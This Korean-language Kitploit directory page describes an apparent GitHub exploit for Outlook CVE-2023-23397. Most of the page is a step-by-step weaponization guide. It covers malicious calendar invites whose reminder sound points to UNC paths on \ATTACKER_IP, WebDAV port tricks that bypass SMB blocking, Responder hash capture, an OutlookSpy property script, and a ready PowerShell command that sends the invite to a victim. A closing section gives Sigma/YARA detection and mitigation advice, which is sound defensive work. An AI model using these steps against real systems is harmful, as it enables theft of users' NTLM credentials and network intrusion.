Skip to content
KitploitKITPLOIT
도구블로그
Log in
제출
도구블로그
제출

해킹, 침투 테스트 및 사이버 보안 도구를 당신의 보안 무기고에!

Kitploit은 해킹, 사이버 보안 및 침투 테스트 도구 디렉토리입니다. 최신 프로젝트 업데이트를 발견하여 취약점을 찾고, 시스템을 분석하고, 테스트를 자동화하고, 보안을 강화하세요.

··피드·문의·개인정보·© 2026 Kitploit

도구 디렉토리

카테고리

모든 카테고리 보기
Loading categories
OutlookNTLM_CVE-2023-23397 — CVE-2023-23397 익스플로잇 - 악의적인 캘린더 초대를 통한 Outlook NTLM 해시 유출. PowerShell 무기화, Responder 통합 및 사고 대응을 위한 탐지 규칙을 포함합니다. | Kitploit
도구/GitHubGitHub/muhammad-ali007/outlookntlm_cve-2023-23397
Password CrackingVulnerability AnalysisExploitationIDS/IPS EvasionLateral MovementPhishingIncident Response
GitHubmuhammad-ali007/outlookntlm_cve-2023-23397

인기

모두 보기 →

커뮤니티에서 가장 많이 사용되는 도구를 찾아보세요.

모든 도구 탐색

도구 컬렉션을 둘러보세요

모든 도구 보기 →
공유

OutlookNTLM_CVE-2023-23397

CVE-2023-23397 익스플로잇 - 악의적인 캘린더 초대를 통한 Outlook NTLM 해시 유출. PowerShell 무기화, Responder 통합 및 사고 대응을 위한 탐지 규칙을 포함합니다.

저장소 보기
221163년 전Kitploit 검토 완료

이 취약점을 악용하려면 공격자가 악성 일정 초대를 만들어야 하며, 이 초대에는 공격자 시스템의 네트워크 공유에 있는 파일을 가리키는 사운드 파일 참조가 포함되어야 합니다. 낮은 수준에서 Outlook 이메일은 사운드 파일 참조를 "PidLidReminderFileParameter"라는 내부 매개변수에 저장합니다. 악성 이메일에 포함된 오디오가 피해자의 기본 미리 알림 구성보다 우선하도록 하려면 "PidLidReminderOverride"라는 다른 매개변수를 true로 설정해야 합니다.

"PidLidReminderFileParameter" 속성을 네트워크 공유를 가리키도록 설정하기 위해 공격자는 로컬 파일 대신 UNC(Universal Naming Convention) 경로를 지정할 수 있습니다. UNC는 Windows 운영 체제에서 네트워크 리소스(파일, 프린터, 공유 문서)를 찾는 데 사용됩니다. 이러한 경로는 이중 백슬래시, 리소스를 호스팅하는 컴퓨터의 IP 주소 또는 이름, 공유 이름 및 파일 이름으로 구성됩니다. 예: \ATTACKER_IP\foo\bar.wav

피해자가 악성 이메일을 받으면 UNC 경로는 해당 SMB 공유로 연결되어 취약점을 트리거합니다. 이로 인해 시스템이 공격자의 시스템에 대해 NTLM 인증 프로세스를 시작하여 Net-NTLMv2 해시가 유출되고, 공격자는 나중에 이를 크랙하려고 시도할 수 있습니다. 어떤 이유로 SMB 프로토콜을 사용할 수 없는 경우, 비서버 버전의 Windows는 포트 80 또는 443을 가리키는 UNC 경로를 허용하고 HTTP를 사용하여 WebDAV 지원 웹 서버에서 파일을 검색합니다. 이러한 UNC 경로의 구문은 다음과 같습니다.

\ATTACKER_IP@80\foo\bar.wav 또는 \ATTACKER_IP@443\foo\bar.wav

이는 포트 445(SMB)로의 아웃바운드 연결을 차단하는 방화벽 제한을 우회하는 데 유용할 수 있습니다.

공격 단계 필요한 매개변수를 사용하여 트리거할 약속이 포함된 악성 이메일을 만들어 보겠습니다.

Responder 설정: 피해자가 포트 445에서 공격자에 대한 인증 시도를 트리거할 것으로 예상되므로, Responder를 설정하여 인증 프로세스를 처리하고 NetNTLM 해시를 캡처하도록 하겠습니다. Responder에 익숙하지 않다면, SMB 서버를 에뮬레이션하고 이에 대한 모든 인증 시도를 캡처합니다. responder -I

악성 약속 수동 생성 시도:

  • 첫 번째 시도로, 약속을 수동으로 생성하고 미리 알림 사운드 파일의 경로를 공유 폴더를 가리키도록 편집할 수 있습니다. 약속을 생성하려면 먼저 캘린더를 클릭한 다음 새 약속 버튼을 클릭해야 합니다.
  • 피해자가 받은 직후 트리거되도록 0분으로 설정된 미리 알림이 포함된 약속을 생성합니다. 또한 미리 알림의 사운드 파일을 구성하기 위해 소리 옵션을 클릭합니다.
  • 사운드 파일 경로를 공격자 시스템을 가리키는 UNC 경로로 설정해 볼 수 있습니다. 그러나 Outlook은 UNC 경로를 자동으로 무시하고 기본 WAV 파일을 사용하도록 되돌리며, 이는 소리 대화상자로 돌아가서 확인할 수 있습니다(대체되지 않았다면 여기서 더 진행할 수 있으며, 그렇지 않으면 OutlookSpy 플러그인을 설치하여 도움을 받아야 합니다).

OutlookSpy: Outlook이 미리 알림의 사운드 파일을 UNC 경로로 설정할 수 없는 경우에도 OutlookSpy 플러그인을 사용하여 이를 달성할 수 있습니다. 이 플러그인을 사용하면 미리 알림의 사운드 파일을 포함한 모든 Outlook 내부 매개변수에 직접 액세스할 수 있습니다. 계속 진행하기 전에 수동으로 설치해야 합니다. 설치 프로그램을 실행하기 전에 Outlook을 닫아야 합니다.

  • OutlookSpy에서 현재 약속을 보려면 OutlookSpy 탭을 클릭합니다. 약속 내에서 "CurrentItem" 버튼을 클릭해야 합니다. 그렇지 않으면 다른 Outlook 구성 요소를 수정할 수 있습니다.
  • 이 창에서 약속의 미리 알림과 관련된 매개변수를 볼 수 있습니다. "ReminderSoundFile" 매개변수를 공격자 시스템을 가리키는 UNC 경로로 설정하고 "ReminderOverrideDefault"와 "ReminderPlaySound"를 모두 true로 설정하려고 합니다. 참고로 각 매개변수의 기능은 다음과 같습니다. ReminderPlaySound: 미리 알림과 함께 소리가 재생될지 여부를 나타내는 부울 값입니다. ReminderOverrideDefault: 수신 Outlook 클라이언트가 기본 사운드 대신 ReminderSoundFile이 가리키는 사운드를 재생하도록 지시하는 부울 값입니다. ReminderSoundFile: 사용할 사운드 파일의 경로가 포함된 문자열입니다. 이 익스플로잇의 경우 공격자 시스템의 가짜 공유 폴더를 가리킵니다.

스크립트 탭과 다음 스크립트를 사용하여 매개변수를 필요한 값으로 변경할 수 있습니다. AppointmentItem.ReminderOverrideDefault = true AppointmentItem.ReminderPlaySound = true AppointmentItem.ReminderSoundFile = "\<attacker's IP><share_folder>\file.wav"

변경 사항을 적용하려면 "Run" 버튼을 클릭해야 합니다. "Properties" 탭으로 돌아가서 값이 올바르게 변경되었는지 확인할 수 있습니다. 마지막으로 약속을 저장하여 캘린더에 추가하고 미리 알림이 "0분"으로 설정되어 있고 약속이 현재 시간 및 날짜와 일치하는지 확인합니다. 즉시 트리거되기를 원하기 때문입니다.

모든 것이 예상대로 진행되었다면 즉시 미리 알림이 나타나는 것을 볼 수 있습니다. 그리고 공격자 시스템의 Responder 콘솔에서 인증 시도를 받아야 합니다.

무기화 취약점을 악용하는 데 필요한 단계를 요약하면, 공격자는 다음을 수행해야 합니다.

  • 공격자 시스템의 UNC 경로를 가리키는 사용자 지정 미리 알림 사운드가 포함된 악성 회의/약속을 만듭니다.
  • 이메일을 통해 피해자에게 초대장을 보냅니다.
  • 미리 알림이 공격자 시스템에 대한 연결을 트리거할 때까지 기다립니다.
  • Net-NTLMv2 해시를 캡처하고, 인증 릴레이를 사용하거나, 다른 방식으로 이익을 얻습니다.

3단계와 4단계는 Responder가 이미 처리해 주지만, 악성 약속을 수동으로 만드는 것은 다소 지루합니다. 다행히도 악성 약속을 만들고 보내는 데 사용할 수 있는 몇 가지 익스플로잇이 있으며, 그중 하나가 이 리포지토리에 제공됩니다.

이 PowerShell 익스플로잇은 Outlook의 COM 개체를 활용하여 이메일과 약속을 쉽게 만듭니다. 사용할 수 있는 몇 가지 함수가 포함되어 있습니다. Save-CalendarNTLMLeak: 이 함수는 악성 약속을 만들어 자신의 캘린더에 저장합니다. 테스트 목적으로 유용합니다. Send-CalendarNTLMLeak: 이 함수는 악성 약속을 만들어 이메일을 통해 피해자에게 보냅니다. 이메일 초대장은 Outlook의 현재 기본 계정에서 전송됩니다.

익스플로잇 사용: PowerShell 내에서 "Import-Module" cmdlet을 사용하여 익스플로잇의 함수를 가져올 수 있습니다. 그 후 두 함수 모두 현재 PowerShell에서 사용할 수 있습니다. 악성 약속이 포함된 이메일을 보내려면 다음 명령을 실행하면 됩니다.

PS C:\Users\User\Desktop> Import-Module .\CVE-2023-23397.ps1 PS C:\Users\User\Desktop> Send-CalendarNTLMLeak -recipient "[email protected]" -remotefilepath "\ATTACKER_IP\foo\bar.wav" -meetingsubject "Random Meeting" -meetingbody "This is just a regular meeting invitation."

익스플로잇이 현재 Outlook 인스턴스를 사용하여 이메일을 보내기 때문에, 스크립트가 사용자를 대신하여 이메일을 보낼 수 있도록 권한을 요청하는 경고가 여러 번 표시될 수 있습니다. 필요할 때마다 "허용"을 누르십시오. "10분 동안 액세스 허용" 확인란을 선택하면 이 프로세스 속도를 높이는 데 도움이 될 수 있습니다.

탐지 및 완화

탐지: 이제 Outlook에 대한 CVE-2023-23397 공격을 무기화하는 단계를 살펴보았으니, 네트워크 내에서 이 공격을 탐지하는 몇 가지 방법에 대해 이야기해 보겠습니다. 각 공격은 탐지 팀이 위협을 식별하는 데 도움이 될 수 있는 패턴이나 아티팩트를 남깁니다. 이는 모두 네트워크 가시성과 수집되어 중요한 가시성을 제공하는 로그 소스에 따라 다릅니다.

Sigma 규칙: 첨부된 Sigma 규칙은 Outlook이 WebDAV 또는 SMB 공유에 대한 연결을 시작하는 것을 탐지하며, 이는 사후 악용 단계를 나타냅니다. 이 Sigma 규칙은 "svchost.exe"가 "rundll32.exe"를 인수 C:\windows\system32\davclnt.dll,DavSetCookie와 함께 생성하는 것을 탐지하며, 이는 사후 악용/데이터 유출 단계를 나타냅니다. 이러한 SIGMA 규칙은 탐지 및 모니터링 도구로 변환되어 네트워크 내에서 의심스러운 로그 활동을 사냥하는 데 사용할 수 있습니다.

Yara 규칙: YARA 규칙은 디스크의 파일 내에서 패턴을 찾습니다. 첨부된 커뮤니티 YARA 규칙은 위 작업에서 논의된 두 가지 속성을 가진 의심스러운 MSG 파일을 디스크에서 탐지하는 데 사용할 수 있습니다.

Microsoft는 Exchange 메시징 항목(메일, 캘린더, 작업)을 검사하여 CVE-2023-23397 공격과 관련된 IOC가 있는지 확인하는 PowerShell 스크립트 "CVE-2023-23397.ps1"을 출시했습니다. 이 스크립트는 탐지된 항목을 감사하고 정리하는 데 사용할 수 있습니다.

완화: 이 취약점은 야생에서 광범위하게 악용되고 있습니다. Microsoft가 이 공격을 완화하고 방지하기 위해 권장하는 몇 가지 단계는 다음과 같습니다.

  • 사용자를 Protected Users Security Group에 추가하여 NTLM을 인증 메커니즘으로 사용하지 못하도록 합니다.
  • 네트워크에서 TCP 445/SMB 아웃바운드를 차단하여 사후 악용 연결을 방지합니다.
  • Microsoft가 출시한 PowerShell 스크립트를 사용하여 Exchange 서버를 검사하고 공격 시도를 탐지합니다.
  • WebClient 서비스를 비활성화하여 webdav 연결을 차단합니다.
도구 다운로드